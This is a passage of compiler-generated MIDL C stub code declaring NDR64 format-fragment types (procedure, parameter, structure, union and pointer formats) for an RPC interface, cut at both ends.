_NDR64_UNION_ARM_SELECTOR frag2;\n    struct _NDR64_UNION_ARM frag3;\n    struct _NDR64_UNION_ARM frag4;\n    struct _NDR64_UNION_ARM frag5;\n    struct _NDR64_UNION_ARM frag6;\n    NDR64_UINT32 frag7;\n}\n__midl_frag574_t;\nextern const __midl_frag574_t __midl_frag574;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n    } frag2;\n}\n__midl_frag573_t;\nextern const __midl_frag573_t __midl_frag573;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag572_t;\nextern const __midl_frag572_t __midl_frag572;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n}\n__midl_frag569_t;\nextern const __midl_frag569_t __midl_frag569;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n    struct _NDR64_POINTER_FORMAT frag2;\n    struct _NDR64_POINTER_FORMAT frag3;\n}\n__midl_frag567_t;\nextern const __midl_frag567_t __midl_frag567;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_MEMPAD_FORMAT frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag8;\n    } frag2;\n}\n__midl_frag561_t;\nextern const __midl_frag561_t __midl_frag561;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n}\n__midl_frag554_t;\nextern const __midl_frag554_t __midl_frag554;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag553_t;\nextern const __midl_frag553_t __midl_frag553;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag552_t;\nextern const __midl_frag552_t __midl_frag552;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n}\n__midl_frag545_t;\nextern const __midl_frag545_t __midl_frag545;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag538_t;\nextern const __midl_frag538_t __midl_frag538;\n\ntypedef \nstruct _NDR64_NON_CONFORMANT_STRING_FORMAT\n__midl_frag537_t;\nextern const __midl_frag537_t __midl_frag537;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag1;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag2;\n    } frag2;\n}\n__midl_frag536_t;\nextern const __midl_frag536_t __midl_frag536;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_NOOP frag2;\n    struct _NDR64_EXPR_CONST64 frag3;\n}\n__midl_frag535_t;\nextern const __midl_frag535_t __midl_frag535;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_VAR_BOGUS_ARRAY_HEADER_FORMAT frag1;\n}\n__midl_frag532_t;\nextern const __midl_frag532_t __midl_frag532;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag531_t;\nextern const __midl_frag531_t __midl_frag531;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag530_t;\nextern const __midl_frag530_t __midl_frag530;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag526_t;\nextern const __midl_frag526_t __midl_frag526;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag523_t;\nextern const __midl_frag523_t __midl_frag523;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag522_t;\nextern const __midl_frag522_t __midl_frag522;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag479_t;\nextern const __midl_frag479_t __midl_frag479;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag478_t;\nextern const __midl_frag478_t __midl_frag478;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag477_t;\nextern const __midl_frag477_t __midl_frag477;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag476_t;\nextern const __midl_frag476_t __midl_frag476;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag475_t;\nextern const __midl_frag475_t __midl_frag475;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag474_t;\nextern const __midl_frag474_t __midl_frag474;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag473_t;\nextern const __midl_frag473_t __midl_frag473;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag472_t;\nextern const __midl_frag472_t __midl_frag472;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag471_t;\nextern const __midl_frag471_t __midl_frag471;\n\ntypedef \nstruct \n{\n    struct _NDR64_NON_ENCAPSULATED_UNION frag1;\n    struct _NDR64_UNION_ARM_SELECTOR frag2;\n    struct _NDR64_UNION_ARM frag3;\n    struct _NDR64_UNION_ARM frag4;\n    struct _NDR64_UNION_ARM frag5;\n    struct _NDR64_UNION_ARM frag6;\n    struct _NDR64_UNION_ARM frag7;\n    struct _NDR64_UNION_ARM frag8;\n    struct _NDR64_UNION_ARM frag9;\n    struct _NDR64_UNION_ARM frag10;\n    struct _NDR64_UNION_ARM frag11;\n    struct _NDR64_UNION_ARM frag12;\n    struct _NDR64_UNION_ARM frag13;\n    struct _NDR64_UNION_ARM frag14;\n    struct _NDR64_UNION_ARM frag15;\n    struct _NDR64_UNION_ARM frag16;\n    struct _NDR64_UNION_ARM frag17;\n    struct _NDR64_UNION_ARM frag18;\n    struct _NDR64_UNION_ARM frag19;\n    struct _NDR64_UNION_ARM frag20;\n    struct _NDR64_UNION_ARM frag21;\n    struct _NDR64_UNION_ARM frag22;\n    struct _NDR64_UNION_ARM frag23;\n    struct _NDR64_UNION_ARM frag24;\n    struct _NDR64_UNION_ARM frag25;\n    struct _NDR64_UNION_ARM frag26;\n    struct _NDR64_UNION_ARM frag27;\n    struct _NDR64_UNION_ARM frag28;\n    struct _NDR64_UNION_ARM frag29;\n    struct _NDR64_UNION_ARM frag30;\n    struct _NDR64_UNION_ARM frag31;\n    struct _NDR64_UNION_ARM frag32;\n    struct _NDR64_UNION_ARM frag33;\n    struct _NDR64_UNION_ARM frag34;\n    struct _NDR64_UNION_ARM frag35;\n    struct _NDR64_UNION_ARM frag36;\n    struct _NDR64_UNION_ARM frag37;\n    struct _NDR64_UNION_ARM frag38;\n    struct _NDR64_UNION_ARM frag39;\n    struct _NDR64_UNION_ARM frag40;\n    struct _NDR64_UNION_ARM frag41;\n    struct _NDR64_UNION_ARM frag42;\n    struct _NDR64_UNION_ARM frag43;\n    struct _NDR64_UNION_ARM frag44;\n    struct _NDR64_UNION_ARM frag45;\n    struct _NDR64_UNION_ARM frag46;\n    struct _NDR64_UNION_ARM frag47;\n    struct _NDR64_UNION_ARM frag48;\n    struct _NDR64_UNION_ARM frag49;\n    struct _NDR64_UNION_ARM frag50;\n    struct _NDR64_UNION_ARM frag51;\n    struct _NDR64_UNION_ARM frag52;\n    struct _NDR64_UNION_ARM frag53;\n    NDR64_UINT32 frag54;\n}\n__midl_frag470_t;\nextern const __midl_frag470_t __midl_frag470;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag469_t;\nextern const __midl_frag469_t __midl_frag469;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n}\n__midl_frag465_t;\nextern const __midl_frag465_t __midl_frag465;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n}\n__midl_frag463_t;\nextern const __midl_frag463_t __midl_frag463;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        NDR64_FORMAT_CHAR frag4;\n    } frag2;\n}\n__midl_frag376_t;\nextern const __midl_frag376_t __midl_frag376;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        NDR64_FORMAT_CHAR frag4;\n    } frag2;\n}\n__midl_frag373_t;\nextern const __midl_frag373_t __midl_frag373;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        NDR64_FORMAT_CHAR frag4;\n    } frag2;\n}\n__midl_frag370_t;\nextern const __midl_frag370_t __midl_frag370;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n}\n__midl_frag368_t;\nextern const __midl_frag368_t __midl_frag368;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n    struct _NDR64_POINTER_FORMAT frag2;\n    struct _NDR64_POINTER_FORMAT frag3;\n}\n__midl_frag366_t;\nextern const __midl_frag366_t __midl_frag366;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n        struct _NDR64_MEMPAD_FORMAT frag7;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag8;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag9;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag10;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag11;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag12;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag13;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag14;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag15;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag16;\n        struct _NDR64_MEMPAD_FORMAT frag17;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag18;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag19;\n    } frag2;\n}\n__midl_frag362_t;\nextern const __midl_frag362_t __midl_frag362;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n        struct _NDR64_MEMPAD_FORMAT frag7;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag8;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag9;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag10;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag11;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag12;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag13;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag14;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag15;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag16;\n    } frag2;\n}\n__midl_frag356_t;\nextern const __midl_frag356_t __midl_frag356;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n    struct _NDR64_POINTER_FORMAT frag2;\n}\n__midl_frag354_t;\nextern const __midl_frag354_t __midl_frag354;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n        struct _NDR64_MEMPAD_FORMAT frag7;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag8;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag9;\n    } frag2;\n}\n__midl_frag351_t;\nextern const __midl_frag351_t __midl_frag351;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag349_t;\nextern const __midl_frag349_t __midl_frag349;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag347_t;\nextern const __midl_frag347_t __midl_frag347;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag343_t;\nextern const __midl_frag343_t __midl_frag343;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag342_t;\nextern const __midl_frag342_t __midl_frag342;\n\ntypedef \nstruct _NDR64_CONFORMANT_STRING_FORMAT\n__midl_frag341_t;\nextern const __midl_frag341_t __midl_frag341;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag340_t;\nextern const __midl_frag340_t __midl_frag340;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag339_t;\nextern const __midl_frag339_t __midl_frag339;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag336_t;\nextern const __midl_frag336_t __midl_frag336;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag331_t;\nextern const __midl_frag331_t __midl_frag331;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag324_t;\nextern const __midl_frag324_t __midl_frag324;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag313_t;\nextern const __midl_frag313_t __midl_frag313;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag312_t;\nextern const __midl_frag312_t __midl_frag312;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag311_t;\nextern const __midl_frag311_t __midl_frag311;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag310_t;\nextern const __midl_frag310_t __midl_frag310;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag308_t;\nextern const __midl_frag308_t __midl_frag308;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag307_t;\nextern const __midl_frag307_t __midl_frag307;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag306_t;\nextern const __midl_frag306_t __midl_frag306;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag305_t;\nextern const __midl_frag305_t __midl_frag305;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag303_t;\nextern const __midl_frag303_t __midl_frag303;\n\ntypedef \nstruct \n{\n    struct _NDR64_NON_ENCAPSULATED_UNION frag1;\n    struct _NDR64_UNION_ARM_SELECTOR frag2;\n    struct _NDR64_UNION_ARM frag3;\n    struct _NDR64_UNION_ARM frag4;\n    struct _NDR64_UNION_ARM frag5;\n    struct _NDR64_UNION_ARM frag6;\n    struct _NDR64_UNION_ARM frag7;\n    struct _NDR64_UNION_ARM frag8;\n    struct _NDR64_UNION_ARM frag9;\n    struct _NDR64_UNION_ARM frag10;\n    struct _NDR64_UNION_ARM frag11;\n    struct _NDR64_UNION_ARM frag12;\n    NDR64_UINT32 frag13;\n}\n__midl_frag302_t;\nextern const __midl_frag302_t __midl_frag302;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag301_t;\nextern const __midl_frag301_t __midl_frag301;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n}\n__midl_frag295_t;\nextern const __midl_frag295_t __midl_frag295;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag281_t;\nextern const __midl_frag281_t __midl_frag281;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n}\n__midl_frag275_t;\nextern const __midl_frag275_t __midl_frag275;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag270_t;\nextern const __midl_frag270_t __midl_frag270;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag268_t;\nextern const __midl_frag268_t __midl_frag268;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag267_t;\nextern const __midl_frag267_t __midl_frag267;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_VAR_BOGUS_ARRAY_HEADER_FORMAT frag1;\n}\n__midl_frag266_t;\nextern const __midl_frag266_t __midl_frag266;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag265_t;\nextern const __midl_frag265_t __midl_frag265;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag264_t;\nextern const __midl_frag264_t __midl_frag264;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag263_t;\nextern const __midl_frag263_t __midl_frag263;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_VAR_BOGUS_ARRAY_HEADER_FORMAT frag1;\n}\n__midl_frag261_t;\nextern const __midl_frag261_t __midl_frag261;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag260_t;\nextern const __midl_frag260_t __midl_frag260;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag259_t;\nextern const __midl_frag259_t __midl_frag259;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag258_t;\nextern const __midl_frag258_t __midl_frag258;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_VAR_BOGUS_ARRAY_HEADER_FORMAT frag1;\n}\n__midl_frag256_t;\nextern const __midl_frag256_t __midl_frag256;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag255_t;\nextern const __midl_frag255_t __midl_frag255;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag254_t;\nextern const __midl_frag254_t __midl_frag254;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag253_t;\nextern const __midl_frag253_t __midl_frag253;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_VAR_BOGUS_ARRAY_HEADER_FORMAT frag1;\n}\n__midl_frag251_t;\nextern const __midl_frag251_t __midl_frag251;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag250_t;\nextern const __midl_frag250_t __midl_frag250;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag249_t;\nextern const __midl_frag249_t __midl_frag249;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag248_t;\nextern const __midl_frag248_t __midl_frag248;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_VAR_BOGUS_ARRAY_HEADER_FORMAT frag1;\n}\n__midl_frag246_t;\nextern const __midl_frag246_t __midl_frag246;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag245_t;\nextern const __midl_frag245_t __midl_frag245;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag244_t;\nextern const __midl_frag244_t __midl_frag244;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag243_t;\nextern const __midl_frag243_t __midl_frag243;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_REPEAT_FORMAT frag1;\n        struct \n        {\n            struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1;\n            struct _NDR64_POINTER_FORMAT frag2;\n        } frag2;\n        NDR64_FORMAT_CHAR frag3;\n    } frag2;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag3;\n}\n__midl_frag240_t;\nextern const __midl_frag240_t __midl_frag240;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag239_t;\nextern const __midl_frag239_t __midl_frag239;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag238_t;\nextern const __midl_frag238_t __midl_frag238;\n\ntypedef \nstruct \n{\n    struct _NDR64_NON_ENCAPSULATED_UNION frag1;\n    struct _NDR64_UNION_ARM_SELECTOR frag2;\n    struct _NDR64_UNION_ARM frag3;\n    struct _NDR64_UNION_ARM frag4;\n    struct _NDR64_UNION_ARM frag5;\n    struct _NDR64_UNION_ARM frag6;\n    struct _NDR64_UNION_ARM frag7;\n    struct _NDR64_UNION_ARM frag8;\n    NDR64_UINT32 frag9;\n}\n__midl_frag236_t;\nextern const __midl_frag236_t __midl_frag236;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n    } frag2;\n}\n__midl_frag235_t;\nextern const __midl_frag235_t __midl_frag235;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag234_t;\nextern const __midl_frag234_t __midl_frag234;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n}\n__midl_frag231_t;\nextern const __midl_frag231_t __midl_frag231;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n    struct _NDR64_POINTER_FORMAT frag2;\n    struct _NDR64_POINTER_FORMAT frag3;\n    struct _NDR64_POINTER_FORMAT frag4;\n    struct _NDR64_POINTER_FORMAT frag5;\n    struct _NDR64_POINTER_FORMAT frag6;\n}\n__midl_frag227_t;\nextern const __midl_frag227_t 